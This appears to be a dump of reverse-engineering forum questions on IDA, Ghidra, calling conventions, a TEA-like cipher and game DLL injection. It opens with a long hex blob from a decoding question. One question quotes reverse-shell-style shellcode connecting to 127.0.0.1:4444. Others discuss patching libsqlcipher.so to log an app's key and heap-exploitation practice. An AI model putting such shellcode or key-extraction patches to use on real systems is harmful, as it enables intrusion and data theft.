be2cd9411043a1ed40ae821e8e83a8812a7246d34587bdce9424f7d8498cbdb75184eea60d94c8424fe16168cbebe8925b15b2dad506b598066cb6fb886c78ba46e3e6481d7735ffa83840ef07b313b21bd9b62ed4a3661df29185e54eb9865629cb2c6c0ff7a2d45cf5e8eb3cf661b8ee5ff8b024832c8f703bff78ebef8359beb18706d3e64bf3792e3005157e96e16e8b0ff109e39d9178b5ce3ff30d03149e42bf1ecb704d27e89042ff93481f509c97645d5194ef7af715f3a8ae2751368e5cd5a6181edc173801bbb840f889da0eb207e3fa33cbd286d9a9d605207a4249714005a4ede29378c0a2add6433b1ed6cfe9b0e355315630de8e0b45c5e0095904ec49c25242f58d94fd86904efec47a0d30bffa7d8f8e01651de538f19eec33262bea79e12b723e4aab5800f4e0b9a42ea265f33be00107df562f540372357c9ac0095c25a4792a4be33bbd888fedbb9cf5e513d876506b48dba30ea9243ebc23f446dade781590889dd05097463bd591e508e83afc740191b595f2aa725879c902e43355315630de8e0b45fd0ea41df4317d36ef44838c7f2cea887416505903be409e4ba100308ea67f3a8cbdb75184eea60d94c8424fe16168cb0f1e235c6451d6103c4b6b9b48905d2aa208c918e39f3d18d02cc7af75385f2d6cfc48780536e5fc5cc393f7aac04a899fdeb98d4c6cea408f2f57b246c8c003aeee17e46fd3583b1d6c7bac24c04ed883a8bc15ef8da0a2aa725879c902e43355315630de8e0b457081988d76d1ad13ef44838c7f2cea88bf471f101b7592d6be3536708986179cb313b21bd9b62ed4a3661df29185e54ec2923e539f239484c5b5b79d51d9914e290c5fbb4800bacd134caba0ebbafc262e06cb881126e45277f50c03bab9e03b7881e31bf9ebaadd6715ca6dd328719d6ad9aff82fce4ffad010f5c4bd7d1f15f40444 ...
+
+
44268418c0b1d6950f9ed82260441bc33531a2973c7728d4731a1f1d9db3ea3c666d5902624f5b44135eb06946b2a77ee8fc0b6877204c3fe11bab3a224c96aed061291a91fc0767c6bbc950e01c289c650ee04fee8f2561a3e45671f002d2f46f0b68481be9eaa304d0a6286438a4beb27848f77f120050aa685faf952ef5f0421c6176e11a3000e0ffef9bb1e2a8aa762aecb38fcadd2a1b213e2d34a9256c1a642754590669563ab42a889a62324c2280a5d0bb7382c25fdf8057f71f168ebd831f11428adb7d895a670a9e78c7a1fe5af5dde3d5048685860fd71d81591afb64ceef0100653042534f67bbeae36182b93f1601362fffcfcd02c1d90c02f8bece2a3c04a46565a2b03a9199407b504858f9629ef42e869d96184e3bef4e08fddd49a72e866b68d42509e42f093ab82d370916911ecc34cdce21e47c13eeb0ec2e935e4fe01e849b9207d5c2aabda8e587be2119c4bc78dc9ac81a158e844beabfb2160eb535bea6deca4a3f73d2ef51d2a26aa7adea45f7c38bc8fb9369cb9e95a1f40ae387496e43bef0fb7972c956bfb2753bbc3df0ebcbf2b438be563d7e627f48a02508f57b2221cab63e856d481cfe8561d605eb9407c78fa5b0274cba16c289bd0bdd854acc45fd32d4203e7e851e1d1f47b71072c2cf5d8292f50ce9de50073d7f3e64ac50401b57cb2b837e7c502846bba9000786da188d4a446e854a99d7715f4073f0b0f354c78287a85ecac9a5a6e9c4740029b94aa68c416cd7576de1faf4e8283fefb4718aa945ba143ef78151f00d4589e8c00d6e185cb986ece5e842841ba2620823b1312ceda8a00c39e2a63263ad216b9c5bdafb20cf04334da3ff459753fc145533fcd55c8dfb37b88503c5cef0dd2aec0674dc66c313c00e29cb9839a1a00c39e2a63263ad8a9370c4e133285077d8560ddf897f737227f53e883e8375ed55b2abeea05dfcee94c1b49b75c440afc85bda733fdfc4b17667fb310392ed9ada8c229137a88cb1985b42b529bc34560d99300197d8acaa7878eefd608918ebd9f31d8e1c8c7be71c0e8bebb7424c86b7428a2196a72e7577a0d54f197cc3d57bd1088a7f5b7e12dbdfff6a60f6ab08f05ff39cb45dd951d2a26aa7adea45f7c38bc8fb9369cb9e95a1f40ae387496e43bef0fb7972c9ca5d4bfa56418f79ebcbf2b438be563d7e627f48a02508f57b2221cab63e856de4ad24d6495c43d63fe4447cbce9f75420fea132622f0fb278e4c6b7e7b25f0c88a700683884fdf1e13e113bb38c41898d711ad781c14fcdac50401b57cb2b837e7c502846bba90085ff74fb2b111f14ab1c4761962caaf7f51e671178e665a21d5cde58a92f2b0c7423c0d5592150a565bf78ce4225c26d00befbd9e3e0a7ffcd738b48cde9bfb06c8b18868fdf8de5d7701e1e9a4481b378621cdfa2dc9e99ea8362b5a01b84aa6208fa7e65874cc2c34f05677f3cf5e316321f9f72c76d26f2a97f9321d88e9c56eeedacdf8e122ec221461d369f88d75de82b18d2afdee3a10f6fd62539783d592327c1748e8e484430996076c2f1c79c7a9854ef23d589389c4509f1ad25f3c4271d50b8ef28cc2c1fc88eac41604a39f17637e8db1bdd37902059f2111f7ee0034fabb83ec9acf6f19d640eeb6ecf797a6c9b5f8e8d815c64d46f38e547e0ed7db420391d9c023468788b0d104ddef1c3b34ca4b5df98af4f22f1efa9b1abe9c3b1a0ad51c55e852380a419985e2a9e24ab654e9aa84ab27bb498091ed561455f8857624860fb31473d5e6902eef684ea2a550332823b6fd239e8b73c5126bffbd5aea07b10b5aa4fc0b2ba1a04c261babafc7b56d5e98a4a7ef72da4acead10ef717bdc3927e1b3755ca4816ff908f3a5847ea49e06e0a76e08ddb9970e5e723b98856f30d501303e1532e75ac49d319927efeb05eff3efe417cc12c3b190f3f3da8f8dcb9d3038ba005b85e6de8746fa705c8cb82390548e25d7c555e6cc18e346e31333024a495b470087fda28f62efbc95659620f9d9e1500e6986d2459f8b55bc961b7e87302d50da68e257f2d21a9c2092799756bc3def1ea488544ec514a5a2ca8144ac9c41781b1b63175e4eab1a82f554da0af058f022eaae18ffeb1c41c2c4b594c4929df090b700453555969dacfafa71f89691e03d6dc60a0a16e1c3b7421d491ce4ff0ac089353e5c11989f8a636f2b6925dc1bea086a7756b5312b0338cea93427df9d1948ba9f48565d324940f3ec3dee1fc708c3d204300cd971d20d6a85a3afaeb9fb8d6678dff018ff89ab11d06649c30b06a67ee618428b2c6d5bd21a6a55cf94ef71149773f9d749762e07503c03cc2da601448541b0a8e0252811c39b57f2e924564285cdf3ca29250b3463f8940bac5e76a00d6d8cb4749d03ab8d32bd56029b69f9aa1f5df379f65eab03bed973e024a7d85d0518a41f3da2f5ae07a5a31ca306a3fd373a4de128a9e847a379cc1424b12b9bd78fee98931de8192f3b06238a4e1b4fee575c58d77624f72093be6ccb5cdb545981362858d4ab977848a00f3cad129263b7beccbb9255dc579c44bfde7cc05cf311e4a2937b9949b63b4ade3d805e52d8e0474223887cd7a7b9a484d2f29bb8e7f7e5f5bdee4e81806fab329c8a46e0fbbb9d276060397ce91b5bf990b63714885e0d6dc7be7da8917433f227f3cfc8f9ab14129c387417b175bd6671ad5676a287fd6ec331a93abf5b1839de310885ddb051c9e23edbc594ffe2b4ecf90a73ef63efff2beff2b21011d4de34dfe9be9c141e2dca37c38fde439db805faa753862e0ac4bcf920ac249bf38e1ba560c2bb0ed553ee4b345f34f127772777cf00323dd3df8ec54c9b6efd4e2414a278c0fdf5dbee799aecb199e8cbf6117e5d88b7ea12ac2cd116ff3c4b7df08746a1e0b7dcd1e03d03a1f8524e9397b1dc2c7db2da0b16daf01a65c236e686b55dce0acaeef8d56007c88525242f58d94fd86904efec47a0d30bffa7d8f8e01651de538f19eec33262bea79cf55ecd5b81470b8795ec0a3d6e726ad9a98f3d7cdc1e2d62e06cb881126e4521d67e85f118f17748f9bef29f3a7786ce92d866dcf1e7f705ccded9ab7009aa3cd208ace86384fb48472b19394742d73a153d8ab7880a1104da73ddb3b421f39f883e78e2211722264ac58d079c7557faed54cd07ef176821896d519bac40b3dc66a3f9e529ff0d2f889816c5e5d5cecd24f9aaec252c7cdf6232e15971f997493077edc3a9a9391e92d866dcf1e7f705ccded9ab7009aa3bed4ca039acf90ca5edde6fd54e5904b08b4b757265c7384990928bec2614b3d1b3e34af2de8249919cd82c3ae269ac72e06cb881126e452fa5b11e0c8e5ab434b0561d0d1eeb30a8e251e74ae1f8105b49a548fb6ca9371adc97cfe58e002525a7fc4fbbcb8ac1d959889e913924c24b5156d3a33c5eca0ba3689edb7301ab712e6bf62746eb43babc174aeb3c06f4b990928bec2614b3d4ff70ce2d6e45b5c94aee897a2b711c6ad7ced51d82f47a8656ee42c88a257da2a46f4d382551db70ad197720f75abcd140002eddf3f60204a2198210a07f8cc52e5ee27c876b4e9e92d866dcf1e7f705ccded9ab7009aa3bed4ca039acf90ca5edde6fd54e5904b267334e1e562cd74dc2efa53a55500cab4c2c52d569729c212fe63b9449ef53501816cb7e4d44a865980765fbea5afaf2fcdbb6112a31f1367c6a875cb676d8a9fd205116bf4130d3db41eae3052ccba622aee92c9cc2f134efec47a0d30bffa7d8f8e01651de538f19eec33262bea795937ef4b6fdadfb107b79a5c7fd878d5484a1ac57dc304ae2e06cb881126e45254ad6ecd3c2974a2e2e09923e7804c4019cd82c3ae269ac72e06cb881126e4525e138470652ddadb591ea47e08652fbb33bc3eb1c6404243b079b0fb15fe557c3db41eae3052ccba622aee92c9cc2f134efec47a0d30bffa7d8f8e01651de538f19eec33262bea796e83972ff9f68791e708a70fda03fa0f484a1ac57dc304ae2e06cb881126e45254ad6ecd3c2974a2e2e09923e7804c4019cd82c3ae269ac72e06cb881126e4525e138470652ddadb12d978f713885913298bfa2568b71e13233b3c8f90a669ae9b66dd924b12367af261613a0ed9bcf6e3b8f38d50962b133fb2f5169253d76eab294879a68006113561bd7baaae51d992f3d62587a533639e779c6f7a93b50d433b1ed6cfe9b0e329426d002f1243b13ff3ee524d1e9c0666037d3a5ae29ff8b5872155c00553dd311791ab270a7690ac73afc4ff50c12a1e7d18c14494e0caaa3dadc0abb9134ce178928179fe289b5ccded9ab7009aa331ac092c37d2a33ed34d39a0f9241ceaf661b8ee5ff8b024832c8f703bff78ebef8359beb18706d3e64bf3792e30051556deffe93dd4ff42ba24d42bd789566cf5a5a80dafa1159386dc808c4b39f6ef80ef11076c643a8c5ccded9ab7009aa3d4cf27b2e726558bb7bed3701218ba161d6c7bac24c04ed8fc9b14536f63dc0e888fedbb9cf5e51364f4673604e1cd1c717ddc5d18b5fde8de781590889dd05097463bd591e508e89b62e6f3489221822ea33d5655c8bd49c77232ccd3913f0f6bdc842c8dbed0cf82f7dedb6e55694c5242f58d94fd86904efec47a0d30bffa7d8f8e01651de538f19eec33262bea79af9fc98b197e06ef4ad2aaf19bf26231980c3a7042b6fab22e06cb881126e4520a2f317638909650c60040c39e205324f661b8ee5ff8b024832c8f703bff78ebef8359beb18706d3e64bf3792e30051595f4b2262b902998cee1572b0800bb1423900c4752813c6386dc808c4b39f6ef80ef11076c643a8c5ccded9ab7009aa32a62af540618e9d1253423b2ce4614bec5b5b79d51d9914e6f2fbe654ab75131134caba0ebbafc262e06cb881126e4520a2f3176389096503e88846c6a7503ebd4289ccb7d4b35b786e56579b50dd7e180ef11076c643a8c5ccded9ab7009aa390dcd866b3e340b442218c71d6a031b46715ca6dd328719d6ad9aff82fce4ffad010f5c4bd7d1f15f40444adafeb4dcc319505721135473f0065c537ed134ca8b04286350d170cabf5a5a80dafa1159386dc808c4b39f6ef80ef11076c643a8c5ccded9ab7009aa37da2222edc5e224db7bed3701218ba161d6c7bac24c04ed8c6f4e38f27760ce3888fedbb9cf5e51364f4673604e1cd1c7c46822e4b6dea3fde781590889dd05097463bd591e508e84b42c9e6b6b3435daa725879c902e4335814a336d4ccd534cfacafc730714a033c4b6b9b48905d2aa208c918e39f3d18d02cc7af75385f2d6cfc48780536e5fc5cc393f7aac04a892cb19dc02be26605230787e7dbf59d10dd24dfdec4d92cae7051e397ce857673466896decf0832148cbdb75184eea60dc7daa700da245d4fddcc5167af65bd5b06b598066cb6fb88f742dd11e978f4c2134caba0ebbafc262e06cb881126e4520a2f317638909650bb28c782c6bdeb5bf7a2d45cf5e8eb3c19cd82c3ae269ac72e06cb881126e4525e138470652ddadb85985d86fd88b904707b9f64031e440b61d0dfc5928dbd29f18515db2561068d52630ea8429fe71b4efec47a0d30bffa7d8f8e01651de538f19eec33262bea79547287f87a9b83df80e478bdf07c8df633001dab8a52c841b313b21bd9b62ed4924ecd324d98eb93d0c0f1ec7248761cb9722caddd34da6ab313b21bd9b62ed41d1dd03bc86431bdbbf551a61adb2136a9c3dc3886687dc05d3c266a5b8352c1104c6f24fa629ca0c00cb00f6e6e59ef2751368e5cd5a6181edc173801bbb840f889da0eb207e3fade58348cae7f07cdca534cee1fba2a6f33001dab8a52c841b313b21bd9b62ed4924ecd324d98eb93e765c362a38cde34b9722caddd34da6ab313b21bd9b62ed41d1dd03bc86431bd732f699adf3d97af3e9e9a0b70ce9c2ef1843fbf7a38c7b14cf858d35cd9e95834d9d30c67ceafdf2751368e5cd5a6181edc173801bbb840f889da0eb207e3fade58348cae7f07cd908abebe6ecdca906a928315c07daf5c8cbdb75184eea60dfe5adef1e406da6a75cdd4a9d096201dfef118906657706ead7ced51d82f47a8f2e0ee884950c524db93a00fda1bf18cbc811bb3d4b99f1b8a2ed49ddfb1b186c445f9aae1fee1863851dce9fd248698e3b8f38d50962b133fb2f5169253d76eab294879a68006113561bd7baaae51d9657fb4f9456083f5f2226e4c5749cba4433b1ed6cfe9b0e329426d002f1243b13ff3ee524d1e9c0666037d3a5ae29ff8b5872155c00553dd311791ab270a7690ac73afc4ff50c12adebb0d869b6c6f788c325cbb225105b3980c3a7042b6fab22e06cb881126e4520a2f31763890965046d663a38ff78b24a208c918e39f3d18d02cc7af75385f2d6cfc48780536e5fc5cc393f7aac04a89a939b2234fdf6df7b58ce5391a4ef9530bd3b6b39f4c7d127051e397ce857673466896decf0832148cbdb75184eea60dc7daa700da245d4fecca6c2ffc1eb4b306b598066cb6fb88a9a86a34931c9631134caba0ebbafc262e06cb881126e4520a2f317638909650532f12c06b0a7de16715ca6dd328719d6ad9aff82fce4ffad010f5c4bd7d1f15f40444adafeb4dcc319505721135473f029cc3d1b26b9a8865a51444dedc630cf5a5a80dafa1159386dc808c4b39f6ef80ef11076c643a8c5ccded9ab7009aa3764320ec2d1b80deb7bed3701218ba161d6c7bac24c04ed813d3c4b519003ede888fedbb9cf5e51364f4673604e1cd1c7c46822e4b6dea3fde781590889dd05097463bd591e508e8f753e0beee331788b313b21bd9b62ed4b334f84caddc30e9fa9ab310ec8b7733f7a2d45cf5e8eb3cf661b8ee5ff8b024832c8f703bff78ebef8359beb18706d3e64bf3792e300515c80da73753be38b9b7d761fc5c7178067f5bc2a49a3ceb40ec916dd047b64201134caba0ebbafc262e06cb881126e4520a2f31763890965042218c71d6a031b4d4289ccb7d4b35b7046419dc2272b58ff2e1e7d82f87e511d2226a9217a3727a732246686a2764f3157dd3d2239bc9c27051e397ce8576732b640237867016e42ea33d5655c8bd49c77232ccd3913f0ff59221aa2c28e16643a1ed40ae821e8e1dfa3b1f8d16d8bdfc1d3eb95b5e8d87aa725879c902e4335814a336d4ccd534cd2f22d7409d556a3c4b6b9b48905d2aa208c918e39f3d18d02cc7af75385f2d6cfc48780536e5fc5cc393f7aac04a8967e7e172e3aad6288702cc35f72fae9ce4006a32e0b1336b7051e397ce857673466896decf0832148cbdb75184eea60dc7daa700da245d4f8fdb2cda2a2bcb7806b598066cb6fb8862f5c663d883b887134caba0ebbafc262e06cb881126e4520a2f31763890965056da05fe00dbb8d8d4289ccb7d4b35b7454c4d7cf867624af2e1e7d82f87e511d2226a9217a3727a732246686a2764f3157dd3d2239bc9c27051e397ce857673801a2cb9cd5d0bb0888fedbb9cf5e51364f4673604e1cd1cfa3198b917d8b22d157dd3d2239bc9c294ef7af715f3a8ae2751368e5cd5a6181edc173801bbb840f889da0eb207e3fade58348cae7f07cd89c512e07f7a0d1da84c190f39d7cc6a0372357c9ac0095c25a4792a4be33bbd888fedbb9cf5e51364f4673604e1cd1ce33862fb1581b44bb7bed3701218ba161d6c7bac24c04ed84b60f48ab5e778dcf2e1e7d82f87e511d2226a9217a3727aba41c6e9c8c3217e157dd3d2239bc9c27051e397ce8576739e66d389b89b99b4888fedbb9cf5e51364f4673604e1cd1c3c434df67f7103d382f7dedb6e55694c5242f58d94fd86904efec47a0d30bffa7d8f8e01651de538f19eec33262bea79e12b723e4aab580086fe0542a5430a5fcf84f24c954b95cad4289ccb7d4b35b7de3cf78e9e7d20892ea33d5655c8bd49c77232ccd3913f0f58ccaf178d2bc4c043a1ed40ae821e8e972e85eba73ae58d272dc8dc43a02fe08cbdb75184eea60dc7daa700da245d4f4371e1e55f5d23a006b598066cb6fb88fef71912f594fe5c1e4970db5af16b04b313b21bd9b62ed4b334f84caddc30e9dae3b61e41642f39f7a2d45cf5e8eb3cf661b8ee5ff8b024832c8f703bff78ebef8359beb18706d3e64bf3792e3005150770ec191cb505e58a00596ce45c5e9b7f5bc2a49a3ceb40ec916dd047b64201134caba0ebbafc262e06cb881126e4520a2f317638909650a72ff7543837dde6d4289ccb7d4b35b73e69b2dd82e50f0bf2e1e7d82f87e511d2226a9217a3727a6c7bba3ba389d710157dd3d2239bc9c27051e397ce857673306cc453b91d44482ea33d5655c8bd49c77232ccd3913f0f2d8440f0de975d9043a1ed40ae821e8e1dfa3b1f8d16d8bd4f3920db7bec346daa725879c902e4335814a336d4ccd534cfacafc730714a033c4b6b9b48905d2aa208c918e39f3d18d02cc7af75385f2d6cfc48780536e5fc5cc393f7aac04a89055d00af914ee841085dad2c7de3646f8ac3650f629d064f5ccded9ab7009aa36e0f4439b2f440de52cfc4678321434decaa2e688e948aaf704d27e89042ff932b2d24109c57b887b9e15c383262f03b5e87c20b141bf2910ce1d4805bbaec4a4616abc4ab4e0efa79910ea5860f48ec4efec47a0d30bffa7d8f8e01651de538f19eec33262bea79b4a625b1a80162b77f6484104a4d055fab0429491d870795b313b21bd9b62ed4924ecd324d98eb93d0c0f1ec7248761c63f819de98bb65519e8cbf6117e5d88b7ea12ac2cd116ff3c4b7df08746a1e0bbf59ab8395d862ee97e8187e435f7a670d84a56416881c3d97463bd591e508e86c9f4d4227afa813b313b21bd9b62ed4b334f84caddc30e94453816a1984846a06b598066cb6fb88fef71912f594fe5cf753e0beee331788b313b21bd9b62ed4b334f84caddc30e9b9865629cb2c6c0fc5b5b79d51d9914e4ba1db10533cb5f0f2e1e7d82f87e511d2226a9217a3727afc28daef92cad37c157dd3d2239bc9c294ef7af715f3a8ae2751368e5cd5a6181edc173801bbb840f889da0eb207e3fa33cbd286d9a9d605ad354740c540b338a84c190f39d7cc6a0372357c9ac0095c25a4792a4be33bbd888fedbb9cf5e51364f4673604e1cd1c46bdf45ce95f2568de781590889dd05097463bd591e508e83d064e143a375c43aa725879c902e4335814a336d4ccd5347522a52e671ee57cef44838c7f2cea88734d102503dbbaf5e8fc6f0fa7b61ab18cbdb75184eea60dc7daa700da245d4f673b51ff12c1ee3d06b598066cb6fb882d1d0234d8572d49be3536708986179cb313b21bd9b62ed4b334f84caddc30e9b9865629cb2c6c0fc5b5b79d51d9914ee517ca7389eb277e134caba0ebbafc262e06cb881126e4520a2f3176389096508e472371712996ab6715ca6dd328719d6ad9aff82fce4ffad010f5c4bd7d1f15f40444adafeb4dcc319505 ...
+
+Since both examples start with the same prefix I assume that no encryption is applied. Maybe the data is compressed? Obviously the string contains only hex values - but I did not find a way to extract a meaningful SVG-Image from that. +Any help or ideas? What are possible next steps to find out more about the encoding? +Best regards +Dominik +" +"['ida', 'idapython', 'ida-plugin']"," Title: How to change IDA to use Python 3.7 and not Python 2.7: ""do not have the x86_64 architecture""Body: I have IDA 6.95, Python 2.7 and Python 3.7.
+Currently when I start IDA it uses Python 2.7: +
-----------------------------------------------------------------------------------------
+Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:19:22) [MSC v.1500 32 bit (Intel)] 
+IDAPython v1.7.0 final (serial 0) (c) The IDAPython Team <idapython@googlegroups.com>
+-----------------------------------------------------------------------------------------  
+
+I wanted to change it to 3.7.
+I tried to do it with idapyswitch.exe but failed: +
C:\Program Files (x86)\IDA 6.95>idapyswitch.exe --force-path "C:\Users\user1\AppData\Local\Programs\Python\Python37-32\python3.dll"
+Cannot determine python library version for "C:\Users\user1\AppData\Local\Programs\Python\Python37-32\python3.dll": DLLs in directory "C:\Users\user1\AppData\Local\Programs\Python\Python37-32" do not have the x86_64 architecture
+
+How can I change it, I don't understand what is the problem with the architecture of the files? +" +"['windows', 'python', 'c#']"," Title: How to start out in reversing?Body: I'm new in reversing and I'd like a lot to learn about it. I have little to no knowledge about it. Is still worth to learn x86 Assembly? Since almost everything these days work on x64 architecture. What would be your advice for someone who's starting out just like me? Some books, guides, tips, what to learn and what not, and why... (I'm manly interested in game hacking, I also have an intermediate level of Python and C#). +Thanks! +" +['android']," Title: Is it possible to work around SQLcipher by modifying libsqlcipher.so?Body: I was trying to extract data from an Android app which uses SQLcipher. SQLcipher is an extension of SQLite that encrypts database files with 256-bit AES. +Within the APK, the library lies in lib/libsqlcipher.so. I'm curious if I can extract the encryption key simply by modifying libsqlcipher.so(e.g. modify sqlite3_key function so that it logs the encryption key to file). The plan is to compile my own version of libsqlcipher.so, repack APK, install it, and run it on a device. +Will this method work as expected? It sounds too easy to be true:) +" +"['assembly', 'shellcode']"," Title: How to extract port number from shellcodeBody: I saw this shellcode and when they use the connect function they pass the port number 4444: +
set_address:
+  push byte 0x05         ; retry counter
+  push 0x0100007F        ; host 127.0.0.1
+  push 0x5C110002        ; family AF_INET and port 4444
+  mov esi, esp           ; save pointer to sockaddr struct
+
+Or in other website like that: +
0000001A      push dword 0x5c110002   ; [0x5c110002, 0x81caa8c0, 0x1, 0x0] // sin_port and sin_family (4444, 0x0002)
+
+But they push 0x5C110002, how they extract 4444 from 0x5C110002? +" +"['memory', 'assembly']"," Title: find cheat engine pointers in ghidraBody: I find a pointer of my health so a function would have made the pointer and put the health in it (tell me if I'm wrong) how do I look for the function? +Note, +as comments point out: health - I talk about a games health. So Health points. I want to find the function that handles this. +" +['ghidra']," Title: ghidra scripting: how to distinguish between function and global symbolBody: I have a following program: +
int b2[4];
+int foo()
+{
+  static int b2[10];
+  b2[5] = 4;
+}
+int main()
+{
+  static int b2[10];
+  int b[5];
+  b[0] = 1;
+  b2[9] = 4;
+  int *ptr = b;
+  int c = *(ptr + 10);
+  foo();
+  return 0;
+}
+
+I want to distinguish between different b2 arrays defined in functions foo, main and globally. I can collect all the symbols using: +
symbols = set(currentProgram.getSymbolTable().getAllSymbols(True))
+    for s in symbols:
+        print(s.getName())
+
+But, there is no way to distinguish between static (in functional namespace) and global symbols. +Ghidra GUI shows me something like: +b2.1913 <- main , b2.1917 <- foo, b2 <- global. +Thus I can easily distinguish between these symbols using GUI. +Thanks in advanced for your help. +" +['assembly']," Title: Reverse Engineer Slack WorkspaceBody: Is there any Slack workspace for Reverse Engineer experts? +I wanna to communicating other people who work in this issue. +I am thankful if you know this workspace and invite me. +" +"['elf', 'libc']"," Title: debugging an older version of libcBody: I'm trying to understand heap exploitation better. Therefore, I compiled the following file: +https://github.com/shellphish/how2heap/blob/master/glibc_2.25/fastbin_dup_into_stack.c +I have the newest libc. How can I debug the following file with an older version? I know I can try to compile it an older one, but it seems to me like a very daunting task. I tried to load an older libc by downloading one from libc.blukat.me with pwntools, but it doesn't see it. +edit: the target cpu arch is x86 64bit. +Thank you! +" +"['ghidra', 'calling-conventions']"," Title: 8086 Function Calling ConventionsBody: I am reversing an old DOS game from 1989. What are the function calling conventions for the 16-bit 8086 processor that is used to run this type of program? +

How it works on Windows x64

+By function calling conventions, I mean, what registers are used to pass what function parameters? Example: +int test(int a, int b, int c, int d, int e, int f, int g) {} +In Windows x64, this would correspond to +rcx, rdx, r8, r9, [stack], [stack], [stack] +

How it works on 8086

+I took a quick look at the X86 calling conventions Wikipedia article, and 8086 looks more complicated than x64. It looks like there are different kinds of calls cdecl, fastcall, etc., and each type of call has its own conventions. + +A quick peek in Ghidra at an old MZ executable confirms that multiple types occur in the same binary. + +

Questions

+ +" +"['ida', 'disassembly', 'dll-injection', 'cheat-engine', 'lua']"," Title: A way to detect a anti-cheating systemBody: I have created a DLL for DLL inject injection to add a force feedback to a GOG game. The DLL Work perfectly. I have tried to see how work the Debug in CE with this script: +
debugProcess()  -- Attach Debugger to the process.
+function debugger_onBreakpoint()
+
+   print("hello hacking")
+
+
+    return 0 --Break
+
+end
+
+
+debug_setBreakpoint(0x542E51)
+
+that work fine like I espected. +Now I have used my dll as "template" with another GOG game (DRM free) but this time after tried to hook more then 20 functions that in theory should be call but none of them trigger my code. +I have tried with CE using the previous script with the some result, the game never break. +At this point I suspect that the game could use a anti-cheating system. +For the moment I see that IDA detect the real name of many functions: + +here what Cheat Engine see: + +There is a way to verify if the game include a sort of anti-cheatting system or similar ? +Thank you ! +" +"['windows', 'assembly', 'c++', 'c']"," Title: how to use class member function defined in a exe within a dllBody: I have an executable (.exe) containing some classes and functions definition and plan on using those functions from within a DLL, although I know to call a regular C style function using calling convention such as __stdcall e.g. +
typedef int(*__stdcall CalleeType)(...);
+
+int Caller(...)
+{
+    CalleeType pCallee = nullptr;
+    pCallee = reintepret_cast<CalleeType>(BaseAddress + RVA);
+    return pCallee(); //calls the function as expected from within the dll
+}
+
+Now my problem starts when I am trying to call functions in which ecx register is set before the call mostly a method used by _cdecl calling convention in c++. And if this ecx register is not set before the call of the function the application crashes. +I found a solution here to load a using Loadlibrary, it is for me to patch the entry point and set it to return 1, and other stuff that needs to be done before the EXE can become usable as a DLL although this method is a hack but it does show promising results in helping me load this program into memory and call those functions as expected. Although I am confused as to how I can be able to make use of those functions passing ecx since those are c++ style function calls. +My Questions are +
    +
  1. How do I make this program to execute after loading it using loadlibrary, so that the program can be able to initialize itself properly and can now be able to use properly?
  2. +
  3. How do I make use of a function requiring that ecx register is set to the this pointer?
  4. +
+Any ideas or hint will be very useful to me thanks +" +"['ida', 'x86']"," Title: Order of arguments in __usercallBody: I have the following function with five arguments: +
    ; int __cdecl trampolineRegister(void)    
+    a4= dword ptr  8
+    a5= dword ptr  0Ch
+    
+    push    ebp
+    mov     ebp, esp
+    add     eax, [ebp+a4]
+    add     eax, [ebp+a5]
+    add     eax, ecx
+    add     eax, edx
+    cmp     ebp, esp
+    call    j___RTC_CheckEsp
+    pop     ebp
+    retn
+
+With this caller code : +
mov     ecx, 0Ah
+mov     edx, 0Ah
+push    ecx             ; a5
+mov     eax, 0Fh        ; a1
+push    edx             ; a4
+mov     ecx, 0Ah        ; a3
+mov     edx, 1Eh        ; a2
+call    j_?trampolineRegister@@YAHXZ 
+
+IDA applies this prototype : +
int __usercall trampolineRegister@<eax>(int a1@<eax>, int a2@<edx>, int a3@<ecx>, int a4, int a5)
+
+But +my question is: +Is the order of the arguments correct?
+What is the order of placement for arguments passing by registers? +Thank you :) +" +"['ida', 'idapython', 'idc']"," Title: How to set conditional breakpoint to modify ZF (Zero flag)Body: In IDA I need to set a breakpoint that once it hit, I want to check if ZF is equal to 1, if it does, I want to change it to 0. +I don't know how to do it:
+ +I searched for example scripts in IDC or IDAPython but I didn't find something that shows it.
+How can I do it? +" +"['disassembly', 'android', 'c', 'arm']"," Title: Reverse an encryption algorithem in APK .so fileBody: I try to reverse a cipher algorithm (I guess Tiny Encryption Algorithm (TEA)) in an android application. But I have a serious problem in initializing arguments. How I can understand that I have selected the input arguments correctly?(Especially when they are pointer) +This algorithm get 4 bytes from user(typed in a textbox)and other 4 bytes from an external hardware and mix up this 8 bytes and export 4 bytes for us. +So, I have shown this algorithm in below: +
                EXPORT Mycipher
+Mycipher                                
+                                        
+
+var_20          = -0x20
+var_1C          = -0x1C
+
+                PUSH    {R0-R2,R4-R7,LR}
+                MOVS    R3, #0
+                STR     R0, [SP,#0x20+var_20]
+                LDR     R4, [R1]
+                LDR     R0, [R1,#4]
+                MOVS    R5, R3
+                MOVS    R6, #3
+                MOV     R12, R1
+                B       loc_DADC
+; ---------------------------------------------------------------------------
+
+loc_DAA6                                ; CODE XREF: Mycipher+4C
+                MOVS    R1, R3
+                ANDS    R1, R6
+                LSLS    R1, R1, #2
+                LDR     R1, [R1,R2]
+                LSLS    R7, R0, #4
+                ADDS    R5, #1
+                ADDS    R1, R3, R1
+                STR     R1, [SP,#0x20+var_1C]
+                LSRS    R1, R0, #5
+                EORS    R7, R1
+                LDR     R1, [SP,#0x20+var_1C]
+                ADDS    R7, R7, R0
+                EORS    R7, R1
+                LDR     R1, =0x9E3779B9
+                ADDS    R4, R4, R7
+                LSRS    R7, R4, #5
+                ADDS    R3, R3, R1
+                LSLS    R1, R4, #4
+                EORS    R7, R1
+                LSRS    R1, R3, #0xB
+                ANDS    R1, R6
+                LSLS    R1, R1, #2
+                LDR     R1, [R1,R2]
+                ADDS    R7, R7, R4
+                ADDS    R1, R3, R1
+                EORS    R1, R7
+                ADDS    R0, R0, R1
+
+loc_DADC                                ; CODE XREF: Mycipher+10
+                LDR     R1, [SP,#0x20+var_20]
+                CMP     R5, R1
+                BNE     loc_DAA6
+                MOV     R1, R12
+                STR     R4, [R1]
+                STR     R0, [R1,#4]
+                POP     {R0-R2,R4-R7,PC}
+; End of function Mycipher
+
+Then I reverse this algorithm to C code : +
void Mycipher (uint32_t* v, const uint32_t* k ) {
+    uint32_t v0=v[0] ,v1=v[1], sum=0, i;
+for (i=0; i<2; i++) {
+    v0 += ((v1 << 4u ^ v1 >> 5u) + v1) ^ (uint32_t)(sum + *(uint32_t *)(((sum & 3u) * 4u) + k));
+    sum = sum + 0x9e3779b9;
+    v1 += (sum + *(uint32_t *)((sum >> 0xb & 3u) * 4u + k) ^ (v0 >> 5u ^ v0 * 0x10) + v0);
+}
+v[0]=v0; v[1]=v1;
+}
+
+And you can see the piece of code that exactly there is in before of function invoke: +
